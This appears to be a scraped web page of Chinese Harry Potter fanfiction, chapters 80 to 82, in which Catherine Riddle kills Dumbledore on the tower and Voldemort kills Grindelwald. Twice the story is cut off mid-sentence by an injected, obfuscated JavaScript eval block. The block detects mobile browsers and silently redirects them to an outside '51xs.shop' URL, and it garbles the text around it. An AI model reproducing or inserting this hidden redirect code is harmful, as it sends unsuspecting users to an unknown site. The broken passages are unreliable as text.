爪子,角和尾巴抽打着,身边的热形成了一堵热墙,拦住了他们。 “我们该怎么办?”赫敏在火焰发出的震耳欲聋的声音中大叫,“我们该怎么办?” “这儿!” 哈利从最近的垃圾堆里抓过了两个看上去很笨重的扫帚,然后扔给了罗恩一个,罗恩把赫敏带在了自己身后。哈利抬腿骑在扫帚上,重重地蹬了地一下,冲了上去。他们的脚擦过在下面正在霍霍磨爪的猛禽的尖利的嘴。在他们下方,被诅咒的火焰吞噬了几个世纪里被追捕的学生的禁物,数以千计的被禁止实验的罪恶成果,无数在这个屋子里寻求避难的灵魂的秘密。 哈利到处都看不到凯瑟琳,还有马尔福三人。他尽可能地飞得很低,不让自己碰到正在掠食的怪兽,想找到他们的踪影,但是只有火焰,多么残酷的死法……他根本不想这样的…… “哈利,我们出去吧,出去吧!”罗恩大喊,尽管在这浓密的黑烟里看不到出口在哪里。 然后哈利听到了一个微弱可怜的人类的尖叫,四周是可怕的暴乱,大口吞噬的火焰发出的巨响。 “那――太――危险了――!”罗恩大叫,但是哈利翻滚着冲了下去,他的眼镜在烟雾里给了他的眼睛一些小小保护,他掠过下面的火浪寻找生命的迹象,还没有像木头那样被烧焦的一个手脚或者一张脸…… 然后他看到了他们:马尔福用胳膊环着高尔,两人在一张已经被烧焦了的桌子堆上,哈利冲了下去。马尔福看到他过来后举起了一只胳膊,哈利抓住那胳膊的一瞬间就知道事情不妙。高尔太重了,马尔福汗湿的手立即滑了出去―― “如果我们因为他们而死掉了,我就要杀了你,哈利!”罗恩愤怒的声音传来,随着身后的巨大的吐火的银蛟向他们俯冲下来,他和赫敏把高尔拽到他们的扫帚上飞升起来,翻转着再次冲了出去,马尔福爬到了哈利后面。 “门口,快去门口,门口!”马尔福在哈利耳边狂叫着,哈利加速跟在罗恩,赫敏和高尔后面,翻滚的黑烟使得他几乎喘不过气来。他们身边最后的还没被火焰吞噬的东西都被扬到了空中,哈利回过头努力寻找着另外两个人。 “你在干什么,你在干什么!门在那边!”马尔福尖叫着。 火蛇向哈利扑了过来,他又猛地拐了个弯,急速向上飞着,直直朝着他祈祷着希望是门的地方冲过去。罗恩,赫敏和高尔都不见了,马尔福在尖叫,紧紧地抓着哈利,把他弄的生疼。然后哈利透过烟雾看到了墙上的一个长方形的板,哈利对准后调整了扫帚的方向,几秒钟后清新的空气充满了他的双肺,他们撞上了走廊外面的墙。 马尔福从扫帚上脸朝下地摔了下来,躺在地上连喘带咳,恶心得要干呕。哈利翻了个个坐直了身子,有求必应屋的入口消失了,罗恩和赫敏坐在仍然昏迷不醒的高尔旁边大口地喘着气。 “克-克拉布,”马尔福一能开口说话就咳着说,“克-克拉布……” “他肯定死了。”罗恩不屑地说。 除了喘气和咳嗽声,四周一片寂静,哈利扭过头,发现天已经黑了下来,然后—— 恐慌席卷了他。 “凯瑟琳出来了吗?”他问道,“王冠在她那里……” “她是伏地魔的妹妹,哈利。”罗恩说道,他站了起来,摩挲着胸口四下看。“你现在终于看清她了吧?她一定不想看到你破坏了她哥的好事,所以在拿到王冠之后溜之大吉了。” “不可能。”赫敏说着也站了起来。“她不是那样的人。她肯定是想把王冠交给邓布利多……” 赫敏的话说到这里,原本倒在地上喘气的马尔福忽然站了起来,他有些恐惧地捂着自己的左臂,然后紧紧攥着自己的魔杖,头也不回地离开了。高尔看了哈利他们三人一眼,然后跟着马尔福离开了。 “……走,”哈利说,“我们跟上他们。” 82.chapter80 令哈利三人大失所望的是,德拉科和高尔只是回了斯莱特林的休息室,因此,他不得不在快下到地窖的时候离开了那里。 当他们三人回到格兰芬多的休息室,时间已经过了晚上十点。金妮和纳威几人都不在宿舍里,于是罗恩和赫敏决定先去找人,问他们有没有见过凯瑟琳,而哈利则披上隐形衣,离开了格兰芬多,顺着楼梯往上爬。 他本打算回有求必应屋看看,但是意外地透过窗户看到了黑色天空中的那片诡异鲜明的黑魔标记。 这是什么意思? 哈利停住脚步,抬头望着空中的绿色骷髅,它那蛇信子般的舌头在他们头顶上闪烁着邪恶的光芒。 哈利感到不妙——紧接着,他看见不远处凯瑟琳和德拉科正顺着移动的楼梯跑向旋转楼梯顶端的门。 他不能跟在他们后面走上塔楼,因此哈利朝反方向跑去,从密道抄近道来到了天文台。 “教授?”哈利从密道钻出来,意外地看到那边站着许久未见的邓布利多,他看起来比离开学校之前还要虚弱。 邓布利多朝他比了一个噤声的手势,紧接着那道塔楼的铁门被打开—— “除你武器!” 随着一道熟悉的女声使用了缴械咒,哈利感到自己的身体变得十分僵硬,他跌跌撞撞地退到塔楼的围墙边,像一座雕像一样立在那里,浑身动弹不得,也说不出话来。 他不明白这是怎么回事。为什么缴械咒能发出定身咒的效果? 就着黑魔标记的绿光,他紧接着看见了站在不远处的许久未见的邓布利多,还看见老魔杖在空中划出一道弧线,飞出了围墙外。 然后他明白了过来。邓布利多对他使用了定身咒,在对他使用无声咒的同时,他也失去了保护自己的机会。 邓布利多背靠围墙站在那里,脸色惨白,看起来他在魔法部的这几日过得非常糟糕,但他的脸上没有表现出丝毫的惊慌或忧虑,只是望着那个除去他武器的人和身边的男孩,说道:“晚上好,凯瑟琳——你也是,德拉科。” 凯瑟琳身边没有拉文克劳冠冕的影子,她长长的黑发被塔楼的风吹起,手里举着奥利凡德给她配的那根新的紫杉木魔杖——刚才那个使用缴械咒的人正是她;德拉科站在她身后,浅金色的头发随着风微微摆动。他看到邓布利多失去武器,朝前逼近几步。 他们都没有回应邓布利多的问好。在黑魔标记的绿光下,哈利看见德拉科那双浅色的眼睛盯住了邓布利多。 “看来魔法部选择把你丢在这里是正确的。现在你身边终于空无一人了。” “是我想要一个人在这里吹吹风的。”邓布利多平和地说道。“那么,今晚只有你们两人行动?” “不是。”德拉科说道,“今晚食死徒就会进入你的学校了。” “很好,很好。”邓布利多说,就好像德拉科给他看了一份雄心勃勃的作业计划, “多么巧妙,不过……冒昧问一句……他们此刻在哪儿呢?你们好像孤立无援啊。” “他们碰到了你的几个警卫,在下面搏斗呢。不会耽搁太久的……我们先上来。我――我要完成一项工作。” “好,那你就动手干吧,我亲爱的孩子。”邓布利多温和地说。 沉默。哈利被囚禁在他的隐形衣下,身体动弹不得。他眼睛望着面前的三个人,耳朵专心地听着远处食死徒们搏斗的声音。在他面前,德拉科·马尔福皱着眉,凯瑟琳想要走上前,但德拉科把她拦住了。 邓布利多竟然不可思议地笑起来。 “德拉科啊德拉科,你不是一个杀人的人。” “你怎么知道?”德拉科立刻问道。 他似乎也意识到这句话听上去多么幼稚。在黑魔标记的绿光下,哈利看到他苍白的脸上泛起红晕。 “你不知道我的能力,”德拉科说,“我成功地——” 哈利听见下面城堡内的什么地方传来一声沉闷的喊叫。德拉科僵住了,扭头往身后望去。 “有人正在奋力抵抗呢。”邓布利多态度随和地说,“你刚才说到……对了,你说你终于成功地让食死徒进入我的学校,我承认,我原来以为这是不可能的……你是怎么做到的?” 可是德拉科没有回答,他仍然在倾听下面的动静,似乎跟哈利一样被定住了,动弹不得。 “也许你应该一个人把活儿给干了。”邓布利多给他出主意道,“如果你的后援被我们的警卫打败了呢?你恐怕也发现了,今晚这里还有凤凰社的成员。你反正并不需要帮助……我此刻没有魔杖……没有办法保护自己。” 德拉科只是呆呆地盯着他。 “我明白了,”邓布利多看到德拉科既不行动也不说话,就温和地对他说,“你很害怕——” “我才不怕呢!”德拉科凶狠地吼道,但他仍然没有动手伤害邓布利多,“感到害怕的应该是你!” “可是为什么呢?我认为你不会杀死我的,德拉科。杀人并不像一般人以为的那么简单……好吧,就趁我们等候你的朋友们的这点儿工夫,你跟我说说……你是怎么把他们偷偷弄进来的?你似乎花了很长时间才想出了这个办法。” 德拉科似乎在拼命克制自己,不让自己叫喊或呕吐出来。他咽了咽唾沫,深深吸了几口气,眼睛狠狠地瞪着邓布利多,魔杖直指邓布利多的胸膛。然后,他似乎不由自主地说道。 “是那个消失柜,去年蒙泰被卡在里面的那个柜子。” “啊――” 邓布利多叹息了一声。他闭了一会儿眼睛。 “很聪明的主意……我记得柜子有两个呢,是不是?” “另一个在博金-博克商店里,”德拉科说,“他们在两个柜子之间修了一条通道。蒙泰告诉我,他被关在霍格沃茨那个柜子里时,全身动弹不得,但有时候能听见学校里的动静,有时候又能听见商店里发生的事情,就好像柜子在这两个地方跑来跑去似的,但是谁也听不见他的声音……最后,他总算通过幻影显形逃了出来——大家都以为这是一个很好玩的故事,只有我意识到了其中的含义――就连博金也不知道――只有我意识到,那个柜子能帮助食死徒进入霍格沃茨。” “很好,”邓布利多喃喃地说,“这样食死徒就能从博金-博克商店进入学校来帮助你……一个巧妙的计划,一个十分巧妙的计划……而且,正如你说的,就在我的眼皮底下……” “是啊,”德拉科说,奇怪的是他似乎从邓布利多的赞扬中获得了勇气和安慰,“没错,就是这样!” 这时邓布利多的身体贴着墙壁往下出溜了一点儿,显然他的腿脚已经没有力气,说不出话的哈利拼命挣扎,想摆脱束缚他的魔咒,但毫无结果。 下面又传来一声喊叫,比刚才的那声更响。德拉科再次不安地扭过头去,他看了一眼凯瑟琳,然后又回过头来望着邓布利多。 “还不动手吗?德拉科?”邓布利多说,这时哈利看见他双脚在地面上打了滑,使劲撑着不让自己瘫倒,“至于你要取我性命的事,德拉科,已经过去了好几分钟了。周围没有别人,我现在手无寸铁,你做梦也不会想到有这样的好机会,可你还是没有动手……” 德拉科的嘴唇不由自主地扭曲着,好像在品尝一种很苦的东西。 “没有多少时间了,”邓布利多说,“何去何从,德拉科,我们讨论一下你的选择吧。” “我的选择!”德拉科大声说,“我拿着魔杖站在这里――我要杀死你――” “亲爱的孩子,我们别再演戏了。如果你真的要杀死我,刚才除去我的武器之后你就会动手了,而不会是停下来跟我愉快地谈论这些措施和方法。” “我没有选择!”德拉科说,他的脸色突然变得和邓布利多的一样惨白,“我非做不可!他会杀死我!他会杀死我的全家!” “我理解你的处境,”邓布利多说,“不然我为什么在此之前一直没有跟你碰面呢?我知道如果伏地魔发现我对你起了疑心,你就会被暗杀的。” 德拉科听到那个名字,害怕地抽搐了一下。 “我知道你接受了那个任务,但我不敢跟你谈起这件事,生怕他会对你使用摄神取念咒。”邓布利多继续说道,“现在我们终于可以开诚布公地说话了……你没有造成任何破坏,没有伤害任何人,你真是很幸运……我可以帮助你,德拉科。” “不,不可能,”德拉科说,他握着魔杖的那只手颤抖得非常厉害,“谁也不可能。他叫我做这件事,不然就会杀死我。我别无选择。” “站到正确的道路上来吧,德拉科,我们可以把你藏在绝对安全的地方,比你所能想象的还要安全。而且,我今晚就可以派凤凰社的成员去把你的父母藏起来……站到正确的道路上来吧,德拉科……你不是一个杀人的人……” 德拉科还是呆呆地望着邓布利多。他握着魔杖的手抖个不停,然后缓缓放了下来。 突然,一阵脚步声嗵嗵嗵地上了楼梯,一眨眼间,四个穿着黑袍子的人破门而入,拥到了围墙边。 哈利仍然动弹不得,他怀着惊恐的心情,眼睛一眨不眨地盯着这四个陌生人看来食死徒在下面的搏斗中占了上风。 一个身材粗壮、脸上带着古怪狞笑的歪嘴男人发出了呼哧带喘的笑声。 “邓布利多被逼到墙角了!”他说完便转向壮实的小个子女人,那是他妹妹,脸上也带着迫不及待的笑容,“邓布利多没有魔杖,邓布利多孤立无援!干得漂亮,德拉科——啊,里德尔小姐您也在……” 那对兄妹恭敬地往后退了几步,似乎在考虑应不应该帮黑魔王把他的妹妹抓回去。凯瑟琳瞥了那对兄妹一眼,冷冷地说: “除非他本人来这里。不然休想带我回去。” 哈利看到她的脸色苍白得像大理石。那两个食死徒不做声了。 “晚上好,阿米库斯,”邓布利多语气十分平静,像是在欢迎那人参加茶会,“你还带来了阿莱克斯……太可爱了……” 那女人从对黑魔王妹妹的恐惧中回过神来,恼怒地假笑了一声。 “你都死到临头了,还以为这些小玩笑能救你的命?”她讥笑道。 “玩笑?不,不,这是礼貌。”邓布利多回答。 “动手吧。”站得离哈利最近的那个陌生人说,他四肢修长,灰色的头发和络腮胡子都纽结在一起,那件食死徒的黑袍子很不舒服地紧紧勒在身上。他的声音很古怪,是哈利从来没听过的一种嘶嘶刺耳的咆哮。哈利还闻到他身上散发出一股冲鼻的怪味儿,混杂着泥土味、汗味,以及――毫无疑问――血腥味。他肮脏的手指上留着长长的黄指甲。 “是你吗,芬里尔?”邓布利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178241|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多问。 “没错,”那人用刺耳的声音说,“见到我很高兴吧,邓布利多?” “不,不能说很高兴……” 芬里尔·格雷伯克咧嘴一笑,露出尖尖的牙齿。鲜血滴到他的下巴上,他慢慢地、令人恶心地舔着嘴唇。 “但你知道我是多么喜欢孩子,邓布利多。” “我是否可以这样理解现在即使在月亮不圆的日子你也要咬人?这可真奇怪……你养成了这种吃人肉的癖好,一个月一次都不能满足吗?” “说得对,”格雷伯克说,“让你震惊了,是不是,邓布利多?让你害怕了?” “唉,坦白地说,确实让我感到有些恶心,”邓布利多说,“而且,我是有点儿震惊这位德拉科竟然偏偏把你请到他的朋友们居住的学校里来……” “我没有,”德拉科喘着气说。他没有看格雷伯克,似乎连瞄都不愿意瞄他一眼。“我不知道他要来――” “我可不愿意错过到霍格沃茨来的美差,邓布利多。”格雷伯克用刺耳的声音说,“有这么多的喉咙可以撕开……味道真好,味道真好啊……” 凯瑟琳皱起了眉头。 格雷伯克举起一根黄黄的指甲剔起了大门牙,一边朝邓布利多狞笑着。 “我可以把你当成餐后的甜食,邓布利多……” “不行。”第四个满脸凶相的食死徒说道。“伏地魔又命令。必须让德拉科动手。好了,德拉科,快行动吧。” 德拉科更加没有斗志了。他看上去很害怕,眼睛几乎失去了焦点。 邓布利多的脸色越发苍白,个头也显得比平常矮了许多,因为他靠在墙上的身体一直在往下出溜。 “要我说,他在这个世界上的日子反正也不多了!”阿米库斯说,“你看看他――你这是怎么回事啊,邓老头儿?” “唉,体力不支,反应迟钝啊,阿米库斯。”邓布利多说,“总之,年老不中用啦……总有一天,你也会落到这步田地……如果你幸运的话……” “这话是什么意思?这话是什么意思?”阿米库斯喊道,突然变得凶狠起来,“你还是老样子,是不是,邓老头儿?满嘴空话,不干实事,我真弄不懂黑魔王为什么要把你干掉!好了,德拉科,快动手吧!” 可是德拉科抖得太厉害了,没有办法瞄准目标。 “我来吧。”格雷伯克恶狠狠地说着就朝邓布利多逼了过去,他张开两只手,露出了嘴里的尖牙。 “滚开。”凯瑟琳忽然说道,强光一闪,狼人被击到一边,撞在墙上,差点儿摔倒,脸上一副恼羞成怒的样子,但是在对上凯瑟琳的目光后又立刻把头低了下来。 哈利站在那儿,被邓布利多的魔咒束缚着,心咚咚跳得像打鼓一样,但竟然谁也听不见,这简直不可思议――只要他能够动弹,他就可以从隐形衣下面射出魔咒――但是他完全动不了。 “我们遇到难题了,小姐。”一脸凶相的食死徒看到凯瑟琳动手,声音又变得有些谄媚起来,“这小伙子好像不能――” 另外一个人也念着凯瑟琳的名字,声音很轻很轻。 “凯瑟琳……” 这声音比哈利整晚经历的任何事情都叫他害怕。 邓布利多在哀求,这可是破天荒的第一次。 凯瑟琳没有说再说话,她缓缓挡在了德拉科前面,哈利看到她的眸子变成了和伏地魔一样的红色。 三个食死徒一言不发地闪到了门口,狼人缩在角落里,似乎也被吓住了。 “凯瑟琳……阿莉安娜……好妹妹……请求你……” “阿瓦达索命!” 凯瑟琳银白色的紫杉木魔杖尖上射出一道绿光,不偏不倚地击中了邓布利多的胸膛。 哈利惊恐的尖叫声被憋在了喉咙里,他发不出声音,也动弹不得,只能眼睁睁地望着邓布利多被击到空中。邓布利多似乎在那闪亮的骷髅下停留了一秒钟,然后像一个破烂的大玩偶似的,慢慢地仰面倒下去,从围墙的垛口上栽下去不见了。 …… 哈利觉得自己好像也飞了出去……这没有发生……这不可能…… 然后,他的伤疤开始火辣辣地疼起来,那个男人来了。身边跟着斯内普。 “快走!别动凯瑟琳。”那个冷酷的声音命令道。 说着,瘦高的男人走过去,将跪坐在地上的凯瑟琳捞到怀里,然后纵身一跃,不需要任何飞行工具,就飞出了塔楼。斯内普一把抓住马尔福的后脖颈,用力把他第一个推出了门外;格雷伯克和那身材粗壮的食死徒兄妹紧跟其后,他们仨因为见到主人亲自过来而兴奋地喘着粗气。 紧接着,哈利意识到自己又可以动了。刚才让他木呆呆地瘫靠在墙上的不是魔法,而是恐惧和震惊。 当那个一脸凶相的食死徒最后一个离开塔顶、正要从门口消失时,他一时掀开了隐形衣。 “统统石化!” 食死徒踉跄了一下,好像有什么硬东西砸到了他的背上,然后就像尊蜡像一样倒了下去。但是他还没着地,哈利就已经越过了他,朝着漆黑楼梯跑了下去。 恐惧撕扯着哈利的心……他必须找到邓布利多,他必须拦住凯瑟琳……不知怎的这两件事联系在了一起……如果这两件事都做成了,他就可以使一切逆转……邓布利多就不可能死去…… 83.chapter81 汤姆打开客房的门,看见凯瑟琳缩在大床的一个角落,双手抱着膝盖,脸埋在里面。听见开门的声音她也没有抬头。 “凯瑟琳。”他喊她。 凯瑟琳终于抬起头,她的脸看起来和纸一样苍白,眼睛下一片青黑。 “凯瑟琳,你做的不错。”汤姆说着,走到床边。“就算你再怎么逃,我也能把你抓回来……本来我为你过去做的那些事情感到生气,但是既然你杀了邓布利多,我改变主意了。” 凯瑟琳把头低了下去,黑发遮住了她的侧脸,她没有回应汤姆的话。 “怎么?我听说你当时可是毫不犹豫地干掉了那个老头,怎么现在看起来还不高兴呢?后悔了?舍不得了?” 凯瑟琳不吭声。 “别这样。”汤姆说道,“……或许只要多杀几个人,你就能习惯了。那些年纪小的食死徒胆子都比你大。” 汤姆挨着凯瑟琳坐下,伸手把她揽到他身边。凯瑟琳想要挪开,她抬起头,看见他红的发亮的眸子里闪着残忍的光。 “不,”凯瑟琳喃喃说道,“不能再这样了。” “什么?”汤姆没有听清,他看到凯瑟琳正试图掰开他放在她身侧的手。但是无果。 “我说,我想知道等你的事业完成之后,你打算做什么?”凯瑟琳呼出一口气,问道。 “凯瑟琳,你是不知道。我现在已经几乎统治了整个巫师界,全世界!唯一阻止我入侵霍格沃茨的只有哈利波特,他和他那帮愚蠢的小朋友,妄图推翻我的统治……我一直很好奇,他作为一个小婴儿,是怎么能摧毁我的,但是我现在大概是明白了——都是运气罢了。他能力平庸,脑袋也笨,但偏偏人们都愿意帮着他。但凡他们愿意追随我,恐怕我的事业早就完成了,巫师统治麻瓜,我们是最荣耀的存在。”汤姆说道。 “这些日子,我一直感到不解。凯瑟琳,你明明说过你会帮我,可事实上呢?我明明可以在复活的时候就干掉哈利波特,是你跑出来阻拦我!如果不是念在你帮过我不少的份上,我不会给你继续活着的机会!”汤姆生气地说道,“但是现在,我倒是很高兴看到你居然愿意帮我杀死邓布利多……我只需要你一句话,告诉我,你是不是背叛我了?” 汤姆盯着他妹妹的眼睛,因为消瘦,她的眼睛看起来更大了,上面蒙着一层水气。他以为她要开始哭了。 但是她没有。她也盯着汤姆。 “我没有背叛你。”她说道,“而且,我做的每一件事都是在帮你。” 汤姆凝视着她,但是她眼里没有丝毫的惧色。他不明白,他无法像对待那些仆人一样,一眼就看出他们是在撒谎,他好像被弄混淆了。 他妹妹的表情坦荡,他完全相信她没有撒谎。但是,她一次又一次地阻止他,一次又一次坏了他的好事,让他怎么相信她是在帮他?别告诉他,这就是爱——他最讨厌这种可笑的谎言…… “你——”他盯着她的眼睛,然后下定决心一般说道,“你撒谎。凯瑟琳,你在对我撒谎!你要是没背叛我,为什么不站在我身边?贝拉、克劳奇、斯内普,他们是我忠诚的追随者,他们一直随叫随到,而你呢?你甚至不愿意帮你的亲哥哥,你只是看我要成功了,所以才向我倒戈,是不是?” 凯瑟琳的表情在他说了这句话之后变得很受伤,她扭过头,不再和汤姆对视。 汤姆似乎看到她的脸上有眼泪滴下去。 “哭什么,我说的不对吗?”他有些不耐烦,但是尽量把语气放缓,“要是我误会你了,后面,你就应该好好地待在我身边。” 凯瑟琳摇了摇头,不知道是在否认他的哪一句话。然后她像是自暴自弃地指了指她的太阳穴。 “你这么不信任我,为什么不用摄魂取念亲自看看呢?”凯瑟琳问道,语气里有一种自嘲,“我们可是亲兄妹,本应该心意相通,怎么还需要像对陌生人一样审问呢?” 汤姆像是被她的话气到了,他变得比刚才还要恼怒。 “摄魂取念是最低端的魔法,我甚至不需要这么做就能知道所有人内心的真实想法!”但是他已经拔出了魔杖,对准了凯瑟琳的额头。 凯瑟琳把眼睛闭上了。 但是等了好一阵,那个大脑被翻搅的感觉迟迟没有出现,她有睁开了眼睛,看见汤姆说有所思地盯着他的魔杖。 他的表情忽然变得很平静,甚至还带着一些小孩子一般的茫然。 “凯瑟琳,上次你拿魔杖对着我的时候,有没有看到什么?”他的语气带着一些试探。 “你是说闪回咒吗?凯瑟琳问。” “但事实上,你看到的是闪回咒吗?”他问道,“我不是因为看到杖下亡魂而晕倒的,我看到了一切其他的东西。” 凯瑟琳回忆起她和死神的对话,以及那个似乎被无形的东西勒住的、不断喘气、抽泣的婴儿。 “不是。”凯瑟琳说。与此同时她看见汤姆像是厌恶什么一样抖了一下,然后把魔杖放下了。 “我听说,真正的神罚不是处死一个人。而是囚禁他的灵魂,在那个地方,他会失去所有的力量,鞭挞他内心最脆弱的地方,孤独无依,无法与外界接触。求生不能,求死……亦不能。”凯瑟琳继续说道,她看到汤姆的眉头越皱越紧。 “你看到了,对不对?”他问道,“有一个丑陋的东西,被困在无形的牢笼中。” 然后他握住了凯瑟琳的手。 “我不是他。”他说道,“我可以复活,我还会有最强大的魔杖,谁也不可能伤到我。” 他不止是想用老魔杖杀死哈利,而是为了让自己变得更加强大。 凯瑟琳的脑海里浮现出了奥利凡德对她和哈利说的话。 回溯魔杖的历史就会知道,这是很有可能的。当然,历史存在断层,会有不同的看法,不同的讲述,其中一些历史丢失了或者被隐瞒了;但真相总是会浮出水面,钻研魔杖学的人们对其中一些事件达成了共识。于是它们被当作历史记录了下来――有一些依然不明朗――这些是我和其他一些魔杖制造者要研究的东西――不明朗中隐藏着的一连串真相。 赫敏明白奥利凡德这句话的意思,这并不只是一个童话,也不是一个传说。 这不是童话,但是我不确定这种传承是否要靠鲜血来完成。它的历史充满血腥,可能因为它太让人着迷,唤起了巫师们潮水般的激情,让他们着了魔似的追寻它。它非常强大,在不适合的人手中非常危险,对所有我们这些研究魔杖力量的人也有着难以置信的吸引力。 所以,老魔杖需要鲜血来完成传承,这是个需要打问号的结论。但是凯瑟琳知道,自己毫无疑问杀死了老魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186896|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杖的上一任拥有着,而她的哥哥知道这些,并且势必要拥有这根魔杖…… * 他见到一栋高耸的建筑物,一座阴森的城堡,黑漆漆的令人生畏。 ――他上升进入黑夜中,径直往那座塔的塔顶的窗户飞去―― ――黑色岩石上的窗户只打开了一条最小的缝,不够一个人进入……从窗户只可以看到一个裹在毯子里的一个人形轮廓……是死了还是在睡觉……? ――他轻而易举地破坏了整个窗户,岩石被灼烧出的洞往牢房里灌着冷风。 ——他着陆,像细胞中的水汽一样轻――走向房间―― 瘦弱的身形卷在薄薄的毯子下,毯子朝他打开了,骷髅似的脸,眼睛睁开了……这个瘦弱的男人坐了起来,深陷的眼睛盯着伏地魔,他笑了。他的大部分牙齿都没有了…… “那么,你来了。我就知道你会……总有一天。但是你来这趟是毫无意义的。我从来就没有它。” 那个男人,又老又瘦,轻蔑地笑道。 那个英俊的男人憎恶地看着他,就像五十多年前那样从他手中抢回他的妹妹那样,他看起来愤怒到了极点。 “你撒谎!” “那又如何?”那个瘦骨嶙峋的男巫张着嘴对他大笑。 伏地魔怒极反笑,他的声音又冷又轻:“格林德沃……你知道,邓布利多已经被杀死了么?” 无牙老人在听到邓布利多的名字的时候顿了一瞬。但是随后他又咧开了嘴。 他是先知,与生俱来的伟大的能力……但有的时候并不是一件好事。当他试图忏悔着给邓布利多写信,阻止他的死亡,但一切都是徒劳……他还看到了其他的画面,被闪电击中的塔楼,被绿光闪烁的牢房……一直以来,老魔杖不是靠鲜血传承,它会自己选择要为谁服务,只可惜这个男孩从来没有明白过那样东西的力量…… 他无数次解读自己的未来,无数次看到自己的死亡,但没有哪一次比现在更令他感到兴奋。 “那么你也杀了我吧!我欢迎死亡!但是我死了你就什么都得不到了……你有许多东西都不知道……” “不!我什么都知道!”他再次被激怒了,十五英寸的接骨木魔杖在他的手心里被反复摩挲着。 “那么,杀了我吧!”老男人要求,“你赢不了,你不可能赢!那一只魔杖永远不会是你的……” ……阿莉安娜的死并非一个意外,但他本以为是帮邓布利多摆脱了家庭的囚笼,却没想到让他们余生为敌……机缘巧合下,他遇到了相似命运的可怜兄妹,哥哥是万众瞩目优秀的男学生会主席,妹妹是病弱的默然者。于是,当他踏在汉格顿监狱的废墟上,他就打定主意,要为最后的结局推波助澜…… 不出所料,邓布利多选择了让可怜的妹妹结果他的性命,再用老魔杖惩罚自以为无所不知无所不能的哥哥……一切都有迹可循,结局也早已写好,而他的赴死只是通往送他通往命运审判的一环。 伏地魔愤怒到极点:绿色的光充满了监牢,老人脆弱的身体从它的硬床上弹起,又仰面栽回硬纸板床上——他死了。 吾与吾爱皆亡于高塔 君与君心皆留于盛夏 可怜而无知的人从未知晓 死亡从不是生命的终点 ...... 84.chapter82 一切都发生得是那样的快。1995暑假之前,哈利亲眼看到伏地魔复活了,1995年圣诞节前一个多月,他又亲眼看到伏地魔的妹妹凯瑟琳杀死了邓布利多。 由于凤凰社的保密人邓布利多的死亡,加上雷古勒斯的特殊身份,凤凰社新的总部被定在了韦斯莱陋居,哈利跟罗恩住在阁楼中。 凤凰社的其他成员也早已知道了邓布利多的事情,在谈到凯瑟琳的时候脸色都无比难看。雷古勒斯和斯内普回到了伏地魔身边,西里斯就毫无顾忌地大骂这对良心被狗吃掉的恶魔兄妹,如果不是其他人拦着,他可能已经去找伏地魔决斗了。 晚餐结束后,哈利推开阁楼的门,临时书桌上七零八落地放着一些纸张。 哈利慢吞吞地想要把他们收起来,而当他翻到这堆纸的底层时,速度渐渐慢下来,他开始寻找着他刚回到女贞路时送来的一期特刊,他记得那期的头版有一小条关于霍格沃茨的麻瓜研究课教授,凯瑞迪·布巴吉失踪的新闻,最后他总算找到了。在打开第十版后,他坐在椅子上,再次读起那篇早已就看过的文章。 【纪念阿不思·邓布利多】 作者:埃非亚·多戈 “我第一眼见到邓布利多是在十一岁,那天,我们第一次来到霍格沃茨。我俩的共同点无须置疑,就是我们都觉得自己是局外人。我在来学校前感染了龙痘疮,尽管不会再传染了,但我脸上标志似的的麻点和绿色的皮肤都使得许多人不愿接近我。而阿不思,则是顶着被众人讨厌的臭名声来到霍格沃茨的,将近一年前,他的父亲,珀西瓦尔,因为公然使用暴力攻击三个年轻麻瓜而被定罪。 阿不思从不否认他的父亲(已经死在了阿兹卡班)所犯下的罪行,相反,当我鼓起勇气去问他时,他断然告诉我他明白他的父亲是有罪的。在那之后,邓布利多一直拒绝谈论起这件伤心事,尽管许多人尝试着迫使他开口。甚至有一些人是在赞扬他父亲的行为的,并猜想阿不思也是一个讨厌麻瓜的人,他们实在是大错特错了――了解阿不思的任何一个人都可以证明,他从来都没有表现过反对麻瓜的倾向。实际上,他对麻瓜的坚决支持使他在后来的几年中给自己树了许多敌人。 这件延续了好几个月的事,使阿不思的名声被他父亲所败坏。但第一学年结束时,他就再也不是作为一个痛恨麻瓜者的儿子而出名,而是作为学校有史以来最聪明的一个学生。我们这些有幸成为他朋友的人也受益颇多,不只是他的帮助和鼓励,还有他一贯的慷慨与大方。后来他对我承认,那个时候,他就知道自己一生中最大的志向就是教学。 …… 在我们到霍格沃茨的第四年,阿不思的弟弟,阿不福思,也进入了学校。这两人没有一处相同的地方,阿不福思一点都不喜欢读书,喜欢用决斗来解决争端而不是像阿不思那样通过理智的辩论。 …… 当阿不思和我离开霍格沃茨,打算开启不同的人生之前,我们想一起来一次那时所流行的世界旅行――拜访并且观察外国巫师。但在我们旅途开始前的那个黄昏,阿不思的母亲凯德拉过世了,作为一家之长,阿不思得养家糊口。我将启程的日子推迟了很长一段时间,去参加他母亲坎德拉的葬礼以表尊敬。然后独自一人进行这孤独的旅程,毫无疑问阿不思肯定不会和我一起去旅行――他有一个弟弟和一个妹妹需要照料,而且他们几乎没有什么钱。 